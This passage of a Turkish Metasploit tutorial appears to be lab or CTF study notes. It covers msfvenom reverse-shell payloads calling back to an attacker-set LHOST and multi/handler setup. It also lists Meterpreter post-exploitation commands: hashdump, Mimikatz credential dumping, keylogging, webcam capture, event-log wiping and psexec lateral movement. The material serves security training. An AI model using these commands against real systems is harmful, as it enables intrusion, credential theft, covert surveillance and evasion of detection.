Web (PHP)	<code>msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw > shell.php</code>	Dosya yükleme (file upload) açıkları için.
Python	<code>msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=PORT -f raw > shell.py</code>	Python yüklü sistemler için script.

2. Kritik Adım: PHP Payload Düzenleme

Msfvenom ile PHP payload oluşturduğunuzda, çıktı genellikle açıklama satırları içerir ve PHP etiketleri eksik olabilir. Dosyayı hedefe yüklemekten önce şu düzenlemeyi yapmalısınız:

- Dosyanın en başına `<?php` etiketini ekleyin ve gereksiz yorum satırlarını (`/* */`) silin.
- Dosyanın en sonuna `?>` etiketini ekleyerek kodu kapatın.

3. "The Handler" (Bağlantıyı Yakalamak)

Msfvenom ile bir dosya oluşturup hedefe yüklemek yetmez. Hedefteki dosya çalıştığında, senin makinene geri bağlanmaya çalışacaktır. Bu bağlantıyı "yakalamak" için Metasploit içinde bir dinleyici (listener) açman gerekir. Bunun adı `multi/handler` 'dır.

Multi/Handler Kurulumu (Adım Adım)

Bash

```
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/reverse_php # Msfvenom'da ne
seçtiysen aynısı!
msf6 exploit(multi/handler) > set LHOST 10.10.x.x          # Kendi IP
adresin
msf6 exploit(multi/handler) > set LPORT 7777              # Msfvenom'da
seçtiğin port
msf6 exploit(multi/handler) > run                          # Dinlemeye başla
```

Altın Kural: Msfvenom oluştururken kullandığın `payload` , `LHOST` ve `LPORT` değerleri, `multi/handler` içindeki değerlerle **birebir aynı** olmalıdır. Aksi takdirde bağlantı kurulamaz.

4. Encoders (Kodlayıcılar) Hakkında Gerçekler

Birçok kiři encoder'ların (örneğin `shikata_ga_nai`) antivirüsleri (AV) tamamen atlatmak için olduğunu sanır. **Bu yanlıřtır.** * Encoder'lar temel olarak payload içindeki "bad characters" (hatalı karakterler) temizlemek ve imza tabanlı basit AV'leri řaşırtmak içindir.

- Modern AV'ler ve EDR sistemleri davranıřsal analiz yaptıđı için, sadece encoder kullanmak genellikle yeterli olmaz; daha gelişmiş **Evasion** modülleri veya obfuscation (karartma) teknikleri gerekir.

Metasploit: Meterpreter'a Giriř: Sızma Testinin İsviçre Çakısı

Meterpreter, Metasploit Framework'ün sunduđu en gelişmiş ve yetenekli payload türüdür. Sadece bir komut satırı (shell) sağlamakta kalmaz, hedef sistem üzerinde tam kontrol sağlayan bir "ajan" (agent) görevi görür. Komuta ve kontrol (C2) mimarisinin bir parçası olarak çalışır.

1. Meterpreter Nasıl Çalışır? (Gizlilik Mekanizması)

Meterpreter'in en büyük avantajı, geleneksel yöntemlere göre çok daha **gizli (stealthy)** olmasıdır. Bu gizliliđi sağlayan iki ana direk vardır:

Bellek İçi Çalışma (In-Memory Execution)

Meterpreter, hedef sistemin diskine (HDD/SSD) herhangi bir dosya yazmaz.

- **Mantık:** Çođu antivirüs (AV) yazılımı, diske yeni yazılan dosyaları tarar. Meterpreter ise doğrudan **RAM (bellek)** üzerinde çalışır.
- **Sonuç:** Hedef sistemde `meterpreter.exe` gibi řüpheli bir dosya oluşmaz. Meterpreter, mevcut ve yasal bir sürecin (process) içine yerleşir.

Şifreli İletişim (TLS/HTTPS)

Meterpreter, saldırganın makinesi ile kurduđu bağlantıyı **TLS (Transport Layer Security)** ile şifreler.

- **Mantık:** Ağ tabanlı IPS (Saldırı Önleme Sistemi) ve IDS (Saldırı Tespit Sistemi) çözümleri, paketlerin içeriđini okuyarak zararlı faaliyeti tespit etmeye çalışır.
- **Sonuç:** Eğer kurum ağ trafiđini (HTTPS gibi) deşifre edip incelemiyorsa, güvenlik cihazları bu şifreli trafiđin içindeki komutları göremez ve saldırıyı tespit edemez.

2. Proses Analizi ve getpid

Meterpreter'in bir dosya olarak deđil, bir süreç (process) olarak nasıl gizlendiđini anlamak için řu komutları kullanırız:

getpid Komutu


```
meterpreter > getpid
```

- **İşlevi:** Meterpreter'in o an hangi **PID (Process ID)** numarası altında çalıştığını döndürür. PID, işletim sisteminin çalışan her programı tanımlamak için verdiği eşsiz bir kimlik numarasıdır.

ps Komutu (Proses Listeleme)

PID numarasını öğrendikten sonra `ps` komutu ile bu numaraya hangi programın sahip olduğuna bakarız:

Bash

```
meterpreter > ps
```

PID	PPID	Name	Arch	User	Path
1304	692	spoolsv.exe	x64	NT AUTHORITY\SYSTEM	C:\Windows\System32\spoolsv.exe

- **Gözlem:** Yukarıdaki örnekte 1304 numaralı PID'nin aslında `spoolsv.exe` (Windows Yazdırma Biriktiricisi) olduğu görülüyor.
- **Analiz:** Dışarıdan bakıldığında her şey normal görünür; sistemde sadece standart bir Windows servisi çalışmaktadır. Oysa Meterpreter bu servisin belleğine sızmıştır.

3. DLL Seviyesinde İnceleme (tasklist)

Gizliliği bir adım öteye taşıyıp, hedef sistemin kendi komut satırından ilgili süreci incelersek bile Meterpreter izine rastlamak çok zordur: `C:\Windows\system32> tasklist /m /fi "pid eq 1304"`

- **Sonuç:** Bu komut, 1304 PID'li sürecin kullandığı tüm **DLL (Dynamic-Link Library)** dosyalarını listeler. Çıktıda sadece Windows'un kendi yasal kütüphaneleri (`ntdll.dll`, `kernel32.dll` vb.) görünür. `meterpreter.dll` gibi bir ibare asla yer almaz.

Önemli Notlar

1. **Antivirüs Durumu:** Meterpreter çok gizli olsa da, günümüzün gelişmiş (Next-Gen) antivirüs yazılımları ve EDR (Endpoint Detection and Response) çözümleri Meterpreter'i davranışsal analiz veya bellek taraması ile tespit edebilir.
2. **Encrypted Channel:** Saldırgan ve kurban arasındaki tüm veri akışı şifreli olduğu için "Man-in-the-Middle" saldırılarıyla komutlarınızın izlenmesi zordur.

Meterpreter Çeşitleri (Flavors) ve Seçim Kriterleri

Meterpreter tek bir araç değil, hedef sisteme ve sızma stratejisine göre uyarlanabilen devasa bir payload ailesidir. Doğru Meterpreter versiyonunu seçmek, sızma girişiminin başarısı ve

kalıcılığı için en kritik adımdır.

1. Temel Payload Kategorileri: Staged vs. Inline

Meterpreter sürümleri, iletim yöntemine göre iki ana kategoriye ayrılır. Bu ayrımı anlamak, network kısıtlamalarını aşmak için hayati önem taşır:

Staged (Aşamalı) Payloadlar

Bu yöntem, saldırıyı iki adımda gerçekleştirir:

- **Stager:** Hedefe gönderilen ilk ve çok küçük kod parçasıdır. Görevi sadece saldırganın makinesiyle bir kanal açıp "asıl yükü gönder" demektir.
- **Stage:** Stager bağlantı kurduktan sonra, Meterpreter'in asıl büyük ve fonksiyonel gövdesi hedefe indirilir.
- **Avantajı:** İlk gönderilen dosya çok küçüktür, bu da bellek kısıtlaması olan exploitlerde (buffer overflow vb.) avantaj sağlar.

Inline (Stageless / Tekil) Payloadlar

Meterpreter'in tüm fonksiyonları tek bir paketin içindedir ve hedefe tek seferde gönderilir.

- **Mantık:** Ekstra bir indirme işlemi yapmaz, her şey dosyanın içindedir.
- **Avantajı:** Bazı durumlarda daha stabildir çünkü ikinci bir network isteğine (stage indirme) ihtiyaç duymaz.

2. Meterpreter Desteklenen Platformlar

Msfvenom kullanarak mevcut tüm Meterpreter sürümlerini listelediğimizde (`msfvenom --list payloads | grep meterpreter`), Metasploit'in hemen hemen her modern platform için bir "flavor" (çeşit) sunduğunu görürüz:

- **Mobil:** Android, Apple iOS
- **Web / Script Dilleri:** PHP, Python, Java, ASP
- **İşletim Sistemleri:** Windows, Linux, OSX
- **Mimari:** x86, x64, ARM, MIPS, ppc

3. Doğru Meterpreter Sürümü Nasıl Seçilir?

Hangi Meterpreter sürümünü kullanacağınıza karar verirken şu 3 ana faktörü değerlendirmelisiniz:

A. Hedef İşletim Sistemi

Hedef bir Windows server mı, bir Linux web sunucusu mu yoksa bir Android telefon mu? İşletim sistemi, seçeceğiniz ana kategoriye belirler.

B. Hedefte Mevcut Olan Bileşenler

Sistemin içinde ne yüklü?

- Eğer bir web sunucusuna dosya yüklüyorsanız **PHP** veya **ASP** tabanlı bir Meterpreter kullanmalısınız.
- Eğer sistemde **Python** yüklüyse, işletim sisteminden bağımsız olarak çalışan Python Meterpreter çok stabil bir seçenek olabilir.

C. Network ve Bağlantı Türü

Güvenlik duvarları (Firewall) bağlantınızı nasıl etkiliyor?

- **TCP**: Standart ham bağlantı. Hızlıdır ama kolay yakalanabilir.
- **HTTP / HTTPS**: Bağlantıyı web trafiği gibi gösterir. Derin paket incelemesi (DPI) yapmayan firewall'ları atlatmak için en iyi yoldur.
- **IPv6**: Bazı kurumlar IPv4 trafiğini çok sıkı izlerken IPv6 trafiğini gözden kaçırabilir. Bu durumda `bind_ipv6_tcp` gibi sürümler işe yarayabilir.

4. Modül ve Exploit Bağlamında Seçim

Bir exploit modülü seçtiğinizde (`use exploit/...`), Metasploit genellikle en uyumlu olan Meterpreter sürümünü **default (varsayılan)** olarak atar.

- **Varsayılanı Görme**: Modülü seçtiğinizde ekranda `[*] Using configured payload ...` şeklinde görünür.
- **Alternatifleri Listeleme**: `show payloads` komutu, o an seçili olan exploit ile teknik olarak çalışabilecek diğer tüm Meterpreter sürümlerini gösterir.

Unutma: `windows/x64/meterpreter/reverse_tcp` (Staged) ile `windows/x64/meterpreter_reverse_tcp` (Inline) arasındaki fark, isimdeki **eğik çizgi** (/) ve **alt tire** (_) işaretleridir. Staged versiyonlarda `meterpreter` klasör gibi görünürken, Inline versiyonlarda bitişik yazılır.

Meterpreter Komutları: Kontrolü Ele Almak

Bir Meterpreter oturumu elde ettiğinizde, aslında hedef sistem üzerinde çalışan çok gelişmiş bir "ajan" ile konuşmaya başlarsınız. `meterpreter > satırına help` (veya `?`) yazdığınızda karşınıza çıkan liste, o anki Meterpreter sürümünün yeteneklerini gösterir.

Unutma: Her Meterpreter sürümü (Windows, Linux, PHP vb.) aynı komutları desteklemez. Örneğin, bir Linux sunucusunda `webcam_snap` komutu büyük ihtimalle çalışmayacaktır.

1. Temel Kategoriler ve Kritik Komutlar

Meterpreter komutları, kullanım amaçlarına göre mantıksal gruplara ayrılmıştır. İşte en çok işine yarayacak olanlar:

Core (Çekirdek) Komutlar

Bu komutlar oturumun kendisini yönetmeni sağlar.

- `background` : Mevcut oturumu kapatmadan arka plana atar ve seni ana `msfconsole` ekranına döndürür.
- `migrate` : Meterpreter'ı başka bir işleme (process) taşır. Örneğin, kurban tarayıcıyı kapatırsa bağlantın kopabilir; bu yüzden kendini `explorer.exe` gibi kalıcı bir işleme taşımak hayat kurtarır.
- `load` : Ekstra özellikler (uzantılar) yükler (Örn: `load kiwi` ile gelişmiş şifre çalma araçlarını aktif edebilirsin).
- `shell` : Seni doğrudan hedef sistemin yerel komut satırına (`cmd.exe` veya `/bin/sh`) indirir.

File System (Dosya Sistemi) Komutlar

Hedef makinede bir dosya gezgini gibi hareket etmeni sağlar.

- `ls / cd / pwd` : Dosyaları listele, dizin değiştir ve nerede olduğunu gör.
- `upload / download` : Kendi makinenden hedefe dosya at veya hedeften gizli dosyaları kendi makinene indir.
- `search -f *.txt` : Hedef sistemde belirli uzantıdaki veya isimdeki dosyaları tarar.
- `cat / edit` : Dosya içeriğini oku veya doğrudan terminal üzerinden düzenle.

Networking (Ağ) Komutları

Hedef makinenin ağdaki yerini ve bağlantılarını anlamak için kullanılır.

- `ifconfig / ipconfig` : Kurbanın ağ arayüzlerini ve IP adreslerini gör.
- `netstat` : Hedefin kimlerle konuştuğunu (aktif bağlantıları) listele.
- `portfwd` : Port yönlendirme yapar. Hedef makinenin erişebildiği ama senin doğrudan erişemediğin iç ağ servislerine tünel açmanı sağlar.
- `arp` : Komşu makinelerin IP ve MAC adreslerini listeler (İç ağda yayılmak için kritiktir).

System (Sistem) Komutları

İşletim sistemi seviyesinde müdahale araçlarıdır.

- `getuid` : Şu an hangi kullanıcı yetkileriyle çalıştığını söyler (Örn: `NT AUTHORITY\SYSTEM`).
- `ps` : Çalışan tüm programları listeler.
- `getsystem` : Tek bir komutla en yüksek sistem yetkilerine (Privilege Escalation) çıkmaya çalışır.
- `hashdump` : Windows sistemlerde şifre özetlerini (hash) SAM veritabanından çeker.
- `clearev` : Olay günlüklerini (Event Logs) temizleyerek arkada bıraktığın izleri siler.

2. Casusluk ve İzleme Araçları (User Interface)

Eğer hedef bir masaüstü bilgisayarsa, Meterpreter gerçek zamanlı bir casusluk aracına dönüşür:

- `keyscan_start` / `keyscan_dump` : Kurbanın klavyede bastığı her tuşu (şifreler, mesajlar vb.) kaydeder ve sana getirir.
- `screenshot` : O anki ekranın fotoğrafını çeker.
- `screenshare` : Kurbanın ekranını canlı olarak izlemeni sağlar.
- `webcam_snap` / `webcam_stream` : Kamera varsa fotoğraf çeker veya canlı görüntü akışı başlatır.

3. Mantık Zinciri: "İçeride İlk 5 Dakika"

Bir Meterpreter oturumu açıldığında genellikle şu sıra izlenir:

1. `getuid` : Kimim? (Yetkim ne?)
2. `sysinfo` : Hangi işletim sistemindeyim? (Sürüm ne?)
3. `getpid` : Hangi işlemdeyim? (Güvende miyim?)
4. `ps` : Çevrede neler çalışıyor?
5. `migrate [PID]` : Kendimi güvenli ve kalıcı bir işleme taşı (Örn: `explorer.exe`).

Not: Bazı komutlar (örneğin `hashdump`) sadece yüksek yetkili (Administrator/SYSTEM) kullanıcı olduğunda çalışır. Eğer yetkin düşükse önce `getsystem` veya post-exploitation modülleriyle yetki yükseltmen gerekir.

Meterpreter ile Sömürü Sonrası (Post-Exploitation)

Sömürü aşaması (exploitation) başarıyla tamamlanıp bir Meterpreter oturumu açıldığında, asıl işimiz olan **Post-Exploitation** başlar. Bu aşama, hedef sistemden veri sızdırma, sistemde derinleşme ve kalıcılık sağlama adımlarını içerir.

1. İlk Keşif Komutları

Sisteme girdiğiniz anda kim olduğunuzu ve nerede olduğunuzu bilmek stratejinizi belirler.

- `getuid` : Meterpreter'in hangi kullanıcı yetkileriyle çalıştığını gösterir.
 - **Çıktı Örneği:** `Server username: NT AUTHORITY\SYSTEM`
 - **Analiz:** Eğer çıktı `SYSTEM` ise, Windows'taki en yüksek yetkiye sahipsiniz demektir. Eğer normal bir kullanıcı adı görüyorsanız, yetki yükseltme (Privilege Escalation) yollarını aramanız gerekir.
- `ps` : Hedef sistemde o an çalışan tüm süreçleri (processes) listeler.
 - **Neden Önemli?** Hangi antivirüslerin çalıştığını görebilir, hangi süreçlerin hangi kullanıcılar tarafından başlatıldığını analiz edebilir ve kendinizi taşıyacağınız (`migrate`) güvenli bir liman seçebilirsiniz.

2. Süreç Taşıma (Migrate)

Meterpreter'i bir süreçten başka bir sürece taşımak, sızma testinin başarısı için kritiktir.

- **Komut:** `migrate <PID>`
- **Mantık:** Eğer exploit sonucu açılan sürecimiz (örneğin `cmd.exe`) kurban tarafından kapatılırsa, bağlantımız kopar. Kendimizi `explorer.exe` (Masaüstü süreci) veya `services.exe` gibi sürekli çalışan bir sürece taşıyarak bağlantıyı **stabil** hale getiririz.
- **Casusluk Avantajı:** Bir kelime işlemciye (örn: `notepad.exe`) migrate olursanız, Meterpreter'in **keylogger** özelliklerini (`keyscan_start`) kullanarak kullanıcının yazdıklarını doğrudan o süreç içinden izleyebilirsiniz.

⚠ **Kritik Uyarı:** Yüksek yetkili bir süreçten (SYSTEM), düşük yetkili bir kullanıcının başlattığı sürece migrate olursanız **yetkilerinizi kaybedersiniz** ve geri alamayabilirsiniz. Taşıma yapmadan önce `ps` çıktısından "User" sütununa mutlaka bakın.

3. Bilgi ve Parola Sızdırma (Hashdump)

Windows sistemlerde kullanıcı şifreleri açık metin olarak değil, **NTLM** formatında özetlenmiş (hash) olarak saklanır.

- **Komut:** `hashdump`
- **İşlev:** Windows'un **SAM (Security Account Manager)** veritabanındaki kullanıcı şifre özetlerini döker.
- **Analiz:** `Administrator:500:aad3b4...:31d6cf.....`
 - Bu hash'ler matematiksel olarak "kırılmaz" olsa da, **Rainbow Tables** veya online veritabanları ile orijinal şifre bulunabilir.
 - Ayrıca bu hash'ler, şifreyi kırmadan başka sistemlere giriş yapmak için **Pass-the-Hash** saldırılarında kullanılabilir.

4. Dosya Arama ve Erişim

Hedef sistemde "kıymetli" (juicy) dosyaları bulmak için Meterpreter'in gelişmiş arama özelliğini kullanırız.

- **Komut:** `search -f <dosya_adı>`
- **Örnek:** `search -f flag2.txt` veya `search -f *.config`
- **Kullanım:** CTF (Catch The Flag) yarışmalarında bayrakları bulmak için, gerçek senaryolarda ise içinde şifre veya hesap bilgisi unutulmuş konfigürasyon dosyalarını bulmak için kullanılır.

5. Yerel Komut Satırına Geçiş (Shell)

Bazen Meterpreter komutları yerine, işletim sisteminin kendi komutlarına (Windows için CMD, Linux için Bash) ihtiyaç duyarsınız.

- **Komut:** `shell`
- **Mantık:** Bu komutu yazdığınızda Meterpreter içinden çıkmadan doğrudan kurbanın komut satırına düşersiniz.
- **Geri Dönüş:** Yerel shell'den çıkıp tekrar Meterpreter'ın gelişmiş özelliklerine dönmek için `CTRL+Z` (arka plana atma) veya `exit` kullanabilirsiniz.

Meterpreter ile Gelişmiş Sömürü Sonrası (Post-Exploitation Challenge)

Meterpreter, sadece temel komutlardan ibaret değildir; dinamik yapısı sayesinde çalışma anında yeni yetenekler kazanabilir. Bu aşamada, sistemde derinlemesine bilgi toplama, yetki yükseltme ve ağda yatayda yayılma (lateral movement) gibi kritik hedeflere odaklanıyoruz.

1. Meterpreter Uzantılarını Yükleme (load)

Meterpreter'ın en güçlü özelliklerinden biri, hedefe ek dosyalar yüklemekten bellek üzerinden yeni modülleri aktif edebilmesidir. `load` komutu ile Meterpreter'a yeni "süper güçler" ekleyebilirsiniz.

Python Uzantısı

Hedef sistemde Python yüklü olmasa bile, Meterpreter üzerinden Python dilini kullanabilirsiniz:

- **Komut:** `load python`
- **Kullanım:** `python_execute "print 'TryHackMe Rocks!'"`
- **Neden Önemli?** Kendi yazdığınız Python script'lerini hedefte hiçbir iz bırakmadan çalıştırmanızı sağlar.

Kiwi (Mimikatz) Uzantısı

Windows şifrelerini ele geçirmek için kullanılan efsanevi **Mimikatz** aracının Meterpreter versiyonudur.

- **Komut:** `load kiwi`
- **İşlev:** RAM'deki açık metin şifreleri, Kerberos biletlerini ve NTLM hash'lerini çeker.
- **Kritik Komutlar:**
 - `creds_all` : Tüm kimlik bilgilerini (parola ve hash) toplu halde getirir.
 - `lsa_dump_sam` : LSA üzerinden SAM veritabanını döker.
 - `wifi_list` : Hedefin daha önce bağlandığı Wi-Fi şifrelerini listeler.

2. Sömürü Sonrası Hedefler

Bir sisteme sızdıktan sonra şu mantık zinciri izlenir:

1. **Bilgi Toplama (Enumeration):** İşletim sistemi detayları, yüklü yamalar, çalışan servisler.

2. **Hassas Veri Arama:** Kullanıcı dosyaları, tarayıcı şifreleri, yapılandırma dosyaları.
3. **Yetki Yükseltme (Privilege Escalation):** Mevcut kullanıcıdan `SYSTEM` veya `Administrator` yetkisine çıkma (`getsystem` komutu veya özel exploitler).
4. **Yatay Hareket (Lateral Movement):** Ele geçirilen hash veya şifrelerle ağdaki diğer bilgisayarlara sızma.

3. Pratik Uygulama: SMB Üzerinden Sızma

Challenge kapsamında, elinizdeki kullanıcı bilgileriyle (user/pass) bir Windows makinesine sızmak için `psexec` modülünü kullanabilirsiniz.

Örnek İş Akışı:

1. **Bağlantı Kur:** `use exploit/windows/smb/psexec` modülünü seçin ve `RHOSTS` , `SMBUser` , `SMBPass` değerlerini girerek `exploit` edin.
2. **Yetki Kontrolü:** Meterpreter açıldığında `getuid` ile yetkinize bakın.
3. **Kiwi Yükle:** `load kiwi` komutuyla Mimikatz'ı aktif edin.
4. **Şifreleri Çek:** `creds_all` yazarak sistemde kayıtlı olan açık metin (cleartext) şifreleri yakalamaya çalışın.

4. Kritik Hatırlatma: help Menüsü Değişimi

Meterpreter'da bir uzantı yüklediğinizde (örn: `load kiwi`), `help` yazdığınızda çıkan liste **güncellenir**. Yeni eklenen komutlar listenin en altında kendi başlığıyla görünür. Eğer bir komutu hatırlayamazsanız, modülü yükledikten sonra mutlaka `help` menüsüne tekrar göz atın.